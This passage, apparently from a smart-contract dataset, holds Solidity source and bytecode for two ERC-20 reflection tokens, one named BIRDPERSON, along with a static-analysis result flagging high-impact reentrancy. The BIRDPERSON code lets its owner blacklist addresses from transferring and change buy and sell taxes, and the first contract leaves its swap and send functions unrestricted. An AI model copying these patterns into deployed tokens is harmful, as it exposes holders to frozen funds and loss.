_transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ec5760003560e01c80636fc3eaec1161008a578063a9059cbb11610059578063a9059cbb14610258578063c3c8cd8014610278578063d16336491461028d578063dd62ed3e146102ad57600080fd5b80636fc3eaec146101fb57806370a08231146102105780638da5cb5b1461023057806395d89b41146100f857600080fd5b806323b872dd116100c657806323b872dd146101885780632ab30838146101a8578063313ce567146101bf5780635932ead1146101db57600080fd5b806306fdde03146100f8578063095ea7b31461013157806318160ddd1461016157600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201825260018152600f60fb1b602082015290516101289190611383565b60405180910390f35b34801561013d57600080fd5b5061015161014c3660046113ed565b6102f3565b6040519015158152602001610128565b34801561016d57600080fd5b5069152d02c7e14af68000005b604051908152602001610128565b34801561019457600080fd5b506101516101a3366004611419565b61030a565b3480156101b457600080fd5b506101bd610373565b005b3480156101cb57600080fd5b5060405160098152602001610128565b3480156101e757600080fd5b506101bd6101f6366004611468565b6103b6565b34801561020757600080fd5b506101bd6103fe565b34801561021c57600080fd5b5061017a61022b366004611485565b61040b565b34801561023c57600080fd5b506000546040516001600160a01b039091168152602001610128565b34801561026457600080fd5b506101516102733660046113ed565b61042d565b34801561028457600080fd5b506101bd61043a565b34801561029957600080fd5b506101bd6102a83660046114a2565b610450565b3480156102b957600080fd5b5061017a6102c83660046114bb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610300338484610824565b5060015b92915050565b6000610317848484610948565b61036984336103648560405180606001604052806028815260200161169f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c95565b610824565b5060019392505050565b6000546001600160a01b031633146103a65760405162461bcd60e51b815260040161039d906114f4565b60405180910390fd5b69152d02c7e14af6800000601255565b6000546001600160a01b031633146103e05760405162461bcd60e51b815260040161039d906114f4565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b4761040881610ccf565b50565b6001600160a01b03811660009081526002602052604081205461030490610d0d565b6000610300338484610948565b60006104453061040b565b905061040881610d91565b6000546001600160a01b0316331461047a5760405162461bcd60e51b815260040161039d906114f4565b600f54600160a01b900460ff16156104d45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161039d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610512308269152d02c7e14af6800000610824565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561054b57600080fd5b505afa15801561055f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105839190611529565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156105cb57600080fd5b505afa1580156105df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106039190611529565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561064b57600080fd5b505af115801561065f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106839190611529565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306106b38161040b565b6000806106c86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561072b57600080fd5b505af115801561073f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107649190611546565b5050600f805443601055601185905569010f0cf064dd5920000060125563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156107e757600080fd5b505af11580156107fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081f9190611574565b505050565b6001600160a01b0383166108865760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039d565b6001600160a01b0382166108e75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116109aa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161039d565b600f546001600160a01b0384811691161480156109d55750600e546001600160a01b03838116911614155b15610a5f576011546010546109e991610f1a565b4311610a13576001600160a01b0382166000908152600660205260409020805460ff191660011790555b610a356001610a2f601154601054610f1a90919063ffffffff16565b90610f1a565b4311610a5f576001600160a01b0382166000908152600760205260409020805460ff191660011790555b6001600160a01b0383163014801590610a9057506001600160a01b03821660009081526006602052604090205460ff165b15610aa0576000600b55605a600c555b6001600160a01b0383163014801590610ad257506001600160a01b03821660009081526006602052604090205460ff16155b8015610af657506001600160a01b03821660009081526007602052604090205460ff165b15610b0a576000600b556019600c55610c0e565b6001600160a01b0383163014801590610b3c57506001600160a01b03831660009081526006602052604090205460ff16155b8015610b6157506001600160a01b03821660009081526006602052604090205460ff16155b8015610b8657506001600160a01b03821660009081526007602052604090205460ff16155b15610c0e576001600b908155600c55600f546001600160a01b038481169116148015610bc05750600e546001600160a01b03838116911614155b8015610be557506001600160a01b03821660009081526005602052604090205460ff16155b8015610bfa5750600f54600160b81b900460ff165b15610c0e57601254811115610c0e57600080fd5b6000610c193061040b565b600f54909150600160a81b900460ff16158015610c445750600f546001600160a01b03858116911614155b8015610c595750600f54600160b01b900460ff165b15610c8457610c6781610d91565b4768056bc75e2d63100000811115610c8257610c8247610ccf565b505b610c8f848484610f79565b50505050565b60008184841115610cb95760405162461bcd60e51b815260040161039d9190611383565b506000610cc684866115a7565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d09573d6000803e3d6000fd5b5050565b6000600954821115610d745760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161039d565b6000610d7e610f84565b9050610d8a8382610fa7565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dd957610dd96115be565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e2d57600080fd5b505afa158015610e41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e659190611529565b81600181518110610e7857610e786115be565b6001600160a01b039283166020918202929092010152600e54610e9e9130911684610824565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ed79085906000908690309042906004016115d4565b600060405180830381600087803b158015610ef157600080fd5b505af1158015610f05573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600080610f278385611645565b905083811015610d8a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161039d565b61081f838383610fe9565b6000806000610f916110e0565b9092509050610fa08282610fa7565b9250505090565b6000610d8a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611124565b600080600080600080610ffb87611152565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061102d90876111af565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461105c9086610f1a565b6001600160a01b03891660009081526002602052604090205561107e816111f1565b611088848361123b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110cd91815260200190565b60405180910390a3505050505050505050565b600954600090819069152d02c7e14af68000006110fd8282610fa7565b82101561111b5750506009549269152d02c7e14af680000092509050565b90939092509050565b600081836111455760405162461bcd60e51b815260040161039d9190611383565b506000610cc6848661165d565b600080600080600080600080600061116f8a600b54600c5461125f565b925092509250600061117f610f84565b905060008060006111928e8787876112b4565b919e509c509a509598509396509194505050505091939550919395565b6000610d8a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c95565b60006111fb610f84565b905060006112098383611304565b306000908152600260205260409020549091506112269082610f1a565b30600090815260026020526040902055505050565b60095461124890836111af565b600955600a546112589082610f1a565b600a555050565b600080808061127960646112738989611304565b90610fa7565b9050600061128c60646112738a89611304565b905060006112a48261129e8b866111af565b906111af565b9992985090965090945050505050565b60008080806112c38886611304565b905060006112d18887611304565b905060006112df8888611304565b905060006112f18261129e86866111af565b939b939a50919850919650505050505050565b60008261131357506000610304565b600061131f838561167f565b90508261132c858361165d565b14610d8a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161039d565b600060208083528351808285015260005b818110156113b057858101830151858201604001528201611394565b818111156113c2576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461040857600080fd5b6000806040838503121561140057600080fd5b823561140b816113d8565b946020939093013593505050565b60008060006060848603121561142e57600080fd5b8335611439816113d8565b92506020840135611449816113d8565b929592945050506040919091013590565b801515811461040857600080fd5b60006020828403121561147a57600080fd5b8135610d8a8161145a565b60006020828403121561149757600080fd5b8135610d8a816113d8565b6000602082840312156114b457600080fd5b5035919050565b600080604083850312156114ce57600080fd5b82356114d9816113d8565b915060208301356114e9816113d8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561153b57600080fd5b8151610d8a816113d8565b60008060006060848603121561155b57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561158657600080fd5b8151610d8a8161145a565b634e487b7160e01b600052601160045260246000fd5b6000828210156115b9576115b9611591565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116245784516001600160a01b0316835293830193918301916001016115ff565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561165857611658611591565b500190565b60008261167a57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561169957611699611591565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d2bc0e044f09a915403e3ec8bd74e721b2e7f810e055ed2d7d6d9c17bdd401db64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,276
0xf04be2f61f4e3689f9e14946b702cab8a7949f86
//https://birdperson.xyz/ //https://t.me/birdpersonportal // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BP is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "BIRDPERSON"; string private constant _symbol = "BP"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xD5C594216F3eF52FCC72B776B4BB99991723420F); _buyTax = 10; _sellTax = 10; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 2e8 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610344578063c3c8cd8014610364578063c9567bf914610379578063dbe8272c1461038e578063dc1052e2146103ae578063dd62ed3e146103ce57600080fd5b8063715018a6146102a75780638da5cb5b146102bc57806395d89b41146102e45780639e78fb4f1461030f578063a9059cbb1461032457600080fd5b8063273123b7116100f2578063273123b714610216578063313ce5671461023657806346df33b7146102525780636fc3eaec1461027257806370a082311461028757600080fd5b806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af5780631bbae6e0146101d457806323b872dd146101f657600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a8152692124a9222822a929a7a760b11b60208201525b60405161017691906118ec565b60405180910390f35b34801561018b57600080fd5b5061019f61019a366004611773565b610414565b6040519015158152602001610176565b3480156101bb57600080fd5b50678ac7230489e800005b604051908152602001610176565b3480156101e057600080fd5b506101f46101ef3660046118a5565b61042b565b005b34801561020257600080fd5b5061019f610211366004611732565b610476565b34801561022257600080fd5b506101f46102313660046116bf565b6104df565b34801561024257600080fd5b5060405160098152602001610176565b34801561025e57600080fd5b506101f461026d36600461186b565b61052a565b34801561027e57600080fd5b506101f4610572565b34801561029357600080fd5b506101c66102a23660046116bf565b6105a6565b3480156102b357600080fd5b506101f46105c8565b3480156102c857600080fd5b506000546040516001600160a01b039091168152602001610176565b3480156102f057600080fd5b50604080518082019091526002815261042560f41b6020820152610169565b34801561031b57600080fd5b506101f461063c565b34801561033057600080fd5b5061019f61033f366004611773565b61087b565b34801561035057600080fd5b506101f461035f36600461179f565b610888565b34801561037057600080fd5b506101f461091e565b34801561038557600080fd5b506101f461095e565b34801561039a57600080fd5b506101f46103a93660046118a5565b610b25565b3480156103ba57600080fd5b506101f46103c93660046118a5565b610b5d565b3480156103da57600080fd5b506101c66103e93660046116f9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610421338484610b95565b5060015b92915050565b6000546001600160a01b0316331461045e5760405162461bcd60e51b815260040161045590611941565b60405180910390fd5b66470de4df8200008111156104735760108190555b50565b6000610483848484610cb9565b6104d584336104d085604051806060016040528060288152602001611ad8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc9565b610b95565b5060019392505050565b6000546001600160a01b031633146105095760405162461bcd60e51b815260040161045590611941565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105545760405162461bcd60e51b815260040161045590611941565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461059c5760405162461bcd60e51b815260040161045590611941565b4761047381611003565b6001600160a01b0381166000908152600260205260408120546104259061103d565b6000546001600160a01b031633146105f25760405162461bcd60e51b815260040161045590611941565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106665760405162461bcd60e51b815260040161045590611941565b600f54600160a01b900460ff16156106c05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610455565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072057600080fd5b505afa158015610734573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075891906116dc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a057600080fd5b505afa1580156107b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d891906116dc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082057600080fd5b505af1158015610834573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085891906116dc565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610421338484610cb9565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161045590611941565b60005b815181101561091a576001600660008484815181106108d6576108d6611a88565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091281611a57565b9150506108b5565b5050565b6000546001600160a01b031633146109485760405162461bcd60e51b815260040161045590611941565b6000610953306105a6565b9050610473816110c1565b6000546001600160a01b031633146109885760405162461bcd60e51b815260040161045590611941565b600e546109a89030906001600160a01b0316678ac7230489e80000610b95565b600e546001600160a01b031663f305d71947306109c4816105a6565b6000806109d96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3c57600080fd5b505af1158015610a50573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a7591906118be565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aed57600080fd5b505af1158015610b01573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104739190611888565b6000546001600160a01b03163314610b4f5760405162461bcd60e51b815260040161045590611941565b600f81101561047357600b55565b6000546001600160a01b03163314610b875760405162461bcd60e51b815260040161045590611941565b600f81101561047357600c55565b6001600160a01b038316610bf75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610455565b6001600160a01b038216610c585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610455565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610455565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610455565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610455565b6001600160a01b03831660009081526006602052604090205460ff1615610e0757600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e4957506001600160a01b03821660009081526005602052604090205460ff16155b15610fb9576000600955600c54600a55600f546001600160a01b038481169116148015610e845750600e546001600160a01b03838116911614155b8015610ea957506001600160a01b03821660009081526005602052604090205460ff16155b8015610ebe5750600f54600160b81b900460ff165b15610eeb576000610ece836105a6565b601054909150610ede838361124a565b1115610ee957600080fd5b505b600f546001600160a01b038381169116148015610f165750600e546001600160a01b03848116911614155b8015610f3b57506001600160a01b03831660009081526005602052604090205460ff16155b15610f4c576000600955600b54600a555b6000610f57306105a6565b600f54909150600160a81b900460ff16158015610f825750600f546001600160a01b03858116911614155b8015610f975750600f54600160b01b900460ff165b15610fb757610fa5816110c1565b478015610fb557610fb547611003565b505b505b610fc48383836112a9565b505050565b60008184841115610fed5760405162461bcd60e51b815260040161045591906118ec565b506000610ffa8486611a40565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561091